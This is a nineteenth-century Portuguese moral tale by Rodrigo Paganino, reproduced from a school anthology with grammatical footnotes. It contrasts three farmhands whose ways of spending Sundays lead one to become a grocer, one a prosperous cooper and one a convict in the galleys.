O emprego dos domingos e dias santos

O emprego dos domingos e dias santos

Três rapazes conheci eu
não há muitos anos, cada um dos quais tinha o seu modo particular de entreter
os dias de festa, ca­da um dos quais também colheu frutos correspondentes ao
grão que lançara à terra.

Variavam tanto nos
costumes e sistemas, como se apartavam nas feições, e como vieram a
diferençar-se também no destino que levaram.

Tinham nascido na mesma
terra, e bem moços ainda tinham vindo procurar trabalho à [1]) mesma
fazenda; porque, acostuma­dos a viverem juntos desde pequenos, não se podiam
separar nem à mão de Deus Padre[2]).

Roberto, o mais velho de
todos, era feio de cara e de pior catadura. Zangava-se por dez réis de coisa
nenhuma [3]),
e quando estava zangado, dava por paus e por pedras [4]).
Tinha tanto de ro­busto como de mau, e só respeitava, de tôda gente, os seus
dois companheiros Pedro e Anastácio. O primeiro dêstes fazia tanta diferença de
Roberto, como o dia da noite. Franzino e delgado, parecia que o menor sôpro o
deitava à terra e lembrava mais um alfinete de toucador do que um trabalhador
de enxada. Comedido e de bons têrmos para todos, em pouco tempo ficou sendo o
ai Je­sus [5])
da fazenda, onde morriam por êle.

Anastácio, o último em que
lhes falei, era, por assim dizer, como uma ponte entre os dois. Fazia lembrar o
outono entre o verão e o inverno. Se era desembaraçado e lesto como Roberto,
era bom como Pedro, estimava um e outro deveras; mas se não po­dia levar a bem
os arremessos e maus modos de Roberto, não gos­tava também muito do tanto de
não presta, de que estava cheio o outro seu companheiro. Não lho deitava à cara
para não o en­vergonhar; mas muitas vêzes lhe ouvi dizer:

“Não se há-de fazer nunca
dali coisa que tenha jeito, parece um Sant’Antoninho onde te porei [6])
; nasceu mais para fiar numa roca do que para puxar ao trabalho com substância[7]).
Não é culpa sua, isso é verdade: mas por mais que me digam, aquilo foi erro da
natureza.”

Em pouco tempo teve cada
um uma ocupação adequada às suas posses[8]).
Pedro, que mais não podia, foi encarregado de guardar um rebanho de ovelhas e
cabras, que tinha mais de du- zentas cabeças; Roberto tomou conta da abegoaria
e das cochei­ras; Anastácio ficou de rancho na malta, entre os trabalhadores de
enxada.

Como é bem de ver, o pior
dos três começou a fazer das suas [9]),
trabalhava de má vontade, embebedava-se sempre que podia, tra­tava do gado à
moda de mil
demônios.

O mais fraquito, bem ao
contrário, começou a fazer as von­tades aos patrões e a cair-lhes em graça.

Tanto fêz, tanto fêz, que
o filho da casa pegou a ensinar-lhe [10])
a ler; coisa por que êle morria desde muito tempo, e em que en­tretinha os
domingos, passando os dias de semana, enquanto o gado pastava, a estudar as
lições e a puxar por si; o Anastácio, que não podia aturar a letra de imprensa,
nem, segundo dizia, ti-

nha cabeça para aprender, começou
a fazer economias, para logo que pudesse, tratar de casar com uma rapariga da
sua terra, com quem estava justo desde pequeno.

Enquanto uns iam para a taberna e
Pedro dava lição, êle que não queria gastar dinheiro em extravagâncias nem
atormentar

a cabeça
com aquelas tontices dos livros, procurou ver se

aprendia algum ofício ou arte em
que se entretivesse, e em que passasse o tempo com tôda a economia.

“Por que não estudas tu aos
domingos também?” pergunta­va eu muitas vêzes a Roberto.

“Ora, porque não nasci para
sacristão nem para besta de carga. EnfaUos bastam os da obrigação, que já não
são poucos, quanto mais í-los eu buscar agora por minhas mãos. Sempre ou­

v   
dizer que
era preceito guardar os domingos e festas de guarda,

e que
trabalhar nestes dias era pecado.”

Estavam as coisas nestas alturas, quando
tive de ir à minha terra[11])
recolher uma,
herançazita que houvera[12]),
e demorar-me por lá algum tempo para pôr as minhas coisas a direito; quando
voltei, nenhum dêles já estava na mesma quinta.

Seis anos depois, em dia de festa
do Corpo de Deus, fui a Lisboa ver a. procissão e visita«- de caminho uns
parentes que lá tinha, — já lá estão na terra da verdade, pobre gente! — Deus
os tenha à sua vista[13]).

Passava pela rua dos Bacalhoeiros, quando ouvi que de uma tenda me chamavam pelo meu nome. Vejam qual
não seria a minha admiração* quando dei com duas caras conhecidas, que
me faziam muita festa e que eram nem
mais nem menos do que Pedro e Anastácio.

“Ora o tio Joaquim por êstes
sítios,”
me
disseram, “e
sem nos conhecer!”

“E’ verdade, rapazes, quem era
capaz de pensar que havia de topar com vocês, assim tão enfeitados e garridos?
Com mil de­mônios! se
me não chamassem, não era eu que os descobria.”

“Mas nós que esquecemos os amigos
velhos, e, logo que o vimos, não quisemos passar sem lhe dar um abraço.”

“Bem apertado e do coração. Mas,
pelo que vejo, a fortuna fêz das suas, e lembrou-se de voçês.”

“E’ como diz: alguma felicidade
tivemos. Mas não há-de fi­car à porta da rua, entra e vem conversar um
poucochinho4) co­nosco, não é assim?”


Assim fiz, e, pelo que me contaram, vim a saber o que lhes
tinha acontecido, e que foi o seguinte:

Cada um dêles tinha
seguido o seu modo de vida, conforme se ajeitava melhor. Pedro estudando
nos livros, Anastácio traba­lhando
nas horas de descanso, para juntar algum dinheiro.

Meteu-se-lhe na cabeça
aprender um ofício, e a trôco de al­guns serviços feitos ao mestre
Antunes, tanoeiro, alcançou que lhe

ensinasse o seu modo de
vida, em que, com a vontade que tinha, chegou a ser um bom oficial.

Já avezava *) um par de
vinténs, quando se descobriram essas terras lá da Califórnia, onde, segundo
diziam os papéis, ha­via mais ouro em pó do que milho em celeiro rico nos anos
de fartura.

Os homens de ganhar
começaram a mudar de rumo e a pro­curar fortuna por essas terras.
Desinquietaram-no; mas êle, des­prezando o ditado: “Muda de terra,
mudarás de fortuna”, como

se
ia dando bem por onde estava, resolveu-se a ficar.

Ora, não sei se sabem que, a-pesar-de haver dinheiro a
rôdo [14])
pela tal Califórnia, não havia de comer nem de beber, e qualquer coisa que por
lá se precisava, era comprada a pêso de ouro.

Anastácio, que já sabia do ofício às direitas, deitou-se à obra, empatou em madeira
os pintos [15])
que juntara, e conseguiu montar uma tanoaria em grande, que em pouco tempo se
afreguesou pelos bons modos do dono e bom preço das obras.

Quando o encontrei em Lisboa, acabava de casar com a pro­metida
desposada que trouxera da terra. A sua loja, que era uma das melhores da
cidade, gozava de excelentes créditos, e o negócio corria o melhor possível.

Pedro também tinha caminhado e muito; mas por estrada
diversa. Pouco a pouco fôra lendo cada vez melhor, e escrevendo de forma que
levava as lampas [16])
ao mestre-escola do lugar: pa­recia um traslado a letra do rapaz.

O dono da quinta, a quem êle caíra em graça pelos seus
têr- mos comedidos e vontade de saber,
tirou-o daquele labutar e man­dou-o para uma mercearia sua em
Lisboa a servir de caixeiro. Era o que êle queria e em que melhor calhava[17]),
tanto que em pouco tempo se fêz um merceeiro de enche-mão[18]).

O patrão trazia-o nas palminhas *)
e dizia à boca cheia que não tivera nunca outro que lhe chegasse tanto às
medidas[19]).

Nem só o Sr.
José Esteves era desta opinião; a senhora sua

filha achava ao pai carradas de razão.
Atrever-se a pedí-la, não era o Pedro capaz disso: mas o pai da rapariga, que
deu na ferida, e não era de soberbas, antes pelo contrário muito dado e
maneiro, reconheceu que lhe convinha para genro um bom rapaz, sossegado e amigo
de dar ordem à sua vida.

Também vivia de grande, quando lhe
falei; e a loja onde
estávamos, era do sogro ou dêle, o que vinha a dar na mesma coisa.

Tinham acabado de me contar as suas histórias e ia-lhes perguntar que norte tinha tomado
Roberto, quando, ao chegarmos à porta para ver a gente que passava para a
procissão, desembo­caram de unia daquelas ruas uns poucos de
grilhetas, que de bar­ril às costas, desciam
lá das bandas do Castelo e iam para o Chafariz de Dentro. Não tive que
perguntar, porque reconhecí-o logo entre êles, quando passaram diante da porte.

Vim depois a saber porque fôra ali
parar. O vinho e as
patuscadas dos domingos, tinham sido a causa daquela desgraça.

Não deitava
Nosso Senhor uiji dia santo a esta terra, que êle

não fôsse
para a taberna, e que não saísse de lá a não ser em

miserável estado. Em breve
puseram-no fora do trabalho, por­que não dava conta de si, nem se podia olhar
para êle, de desmaze­lado que andava. Vendo-se sem trabalho e sem ninguém o
querer,
ajuntou-se
a uns poucos
de vadios da terra, que passavam pelas piores firmas do lugar.

Ao princípio eram comezainas e bebedices: e depois, como não havia dinheiro
nem gente que lhes fiasse, nem vontade de trabalhar, começaram a pregar
calotes, a cometer roubos, e quem sabe se mortes também.

Ao menos
assim por lá se
rosnava, e
bem se diz que nestas

coisas: “Voz
do povo é voz de Deus.”

Um dia a justiça, que andava com
os olhos neles, deitou-lhes a unha. Um dos que fugiram [20]) foi
Roberto, e, ao fugir à pri­são, feriu de morte um dos cabos que o queriam
prender.

Foi condenado às galés por tôda a
vida: e a cumprir esta sen­tença, o vi eu em Lisboa no tal dia de festa do
Corpo de Deus.

Agora vocês lá, rapazes, que
perceberam aonde eu ia dar na minha[21]),
pensem na história que lhes contei, e vejam de que modo deverão melhor passar
os domingos e dias santos.

Os bons dos malteses [22]) não deram resposta ao narrador
nessa ocasião; os resultados futuros deixaram ver, porém, que as pala­vras do
conto do tio Joaquim não tinham sido deitadas ao vento.

Rodrigo Paganino.

 


[1] Os escritores brasileiros, neste caso, empregam de preferência a
preposição em.

[2] Nem à mão de Deus Paidre
de forma nenhuma.

[3] por dez réis de coisa nenhuma
equivale à locução adverb. vulgar — por
dá cá
aquela palha
— isto é por um nonada,
por u/m motivo fútil.

[4] dar por paios e por pedras
— (temos aqui a figura que em retóri­ca se chama aliteração) = desatinar, fazer
disparates.

[5] o ai Jesus,

[6] um Sant’Antoninho onde te
porei,
locuçõe.s substantivas = mimo­so, um
alfenim.

[7] com substância — com
vigor, com fôrça.

[8] às suas posses = às suas
aptidões, capacidade.

[9] fazer das suas: (expressão
elítica), isto é: fazer alguma das
suas tolices, loucuras, tratantadas,
etc.

[10] Correto seria: ensmá-lo a ler.
Vide a nota 3) à
pág. 21.

[11] terra — localidade, povoação
onde se nasceu.

[12] houvera, o verbo haver aqui é sinôn. de receber, herdar e empre­ga-se em
tôdas as pessoas; ex.: Êstes são
os bens que houvemos de nos­

sos pais.

[13] Deus os tenha à sua vista = na sua glória.

[14] A rôdo — locução popular
— em grande abundância.

[15] Pinto — cruzado novo, um
cruzeiro da nossa moeda.

[16] Levar as lampas a alguém
— levar vantagem a alguém, ser superior a alguém.

[17] Calhar — têrmo vulgar —
convir.

[18] de enche-mão = perfeito,
consumado.

[19] chegar às medidas ou encher as medidas — satisfazer completa­mente.

[20] Um dos que fugiram — em construções como
esta é êrro concordar o predicado da oração relativa com o numeral um e dizer; um dos que fu­giu (Epifânio, Sin. Hist.,
pág. 25, e Leite de Vasconcelos, Lições de Filol. Portug. 389). Entretanto há
gramáticos que, apoiados em bons escritores, admitem a segunda construção.
Cabe, porém, lembrar que também os melhores escritores têm as seus lapsos. Quem hi há tam acabado aue tu­do perfeitamente
diga e faça?
(Leal Conselheiro, pág. 386). Já o velho Ho- rácio dizia: Quandoque bonus dormitat
Homerus
(Art Poética, verso 359).

[21] onde
eu ia dar na minha = aonde eu queria chegar; o qrn
eu queria dar a entender.

[22] Maltês
— provincialismo da Extrameadura, Portugal; significa trabalhador rural, sem lugar fixo.

Fonte: Seleta em Prosa e Verso dos melhores autores brasileiros e portugueses por Alfredo Clemente Pinto. (1883) 53ª edição. Livraria Selbach.


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